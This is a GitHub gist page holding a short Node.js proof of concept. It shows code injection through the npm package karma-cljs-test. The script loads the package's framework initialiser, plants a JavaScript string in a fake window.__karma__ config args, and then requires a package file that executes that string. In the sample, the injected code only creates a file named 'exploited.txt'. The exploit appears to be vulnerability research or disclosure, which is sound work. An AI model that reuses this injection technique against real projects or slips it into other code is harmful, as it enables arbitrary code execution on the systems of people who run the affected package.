Skip to content

Instantly share code, notes, and snippets.

@mcoimbra
Created October 28, 2023 22:32
Show Gist options
  • Save mcoimbra/cd8f0ec3c2b2a6e5af15f514c7384085 to your computer and use it in GitHub Desktop.
Save mcoimbra/cd8f0ec3c2b2a6e5af15f514c7384085 to your computer and use it in GitHub Desktop.
Package karma: although focused on browser JavaScript, it is possible to require() the package and inject a command into another file of the package that is possible to require.
'use strict'
const pkg = require('karma-cljs-test');
const init = pkg['framework:cljs-test'][1];
const files = [];
init(files);
global.window = {
'__karma__': {
'start': [],
'config': {
args: ["const fs = require('node:fs'); let fd = fs.openSync('exploited.txt', 'a'); fs.closeSync(fd);"]
}
}
};
require(files[0].pattern);
global.window.__karma__.start();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment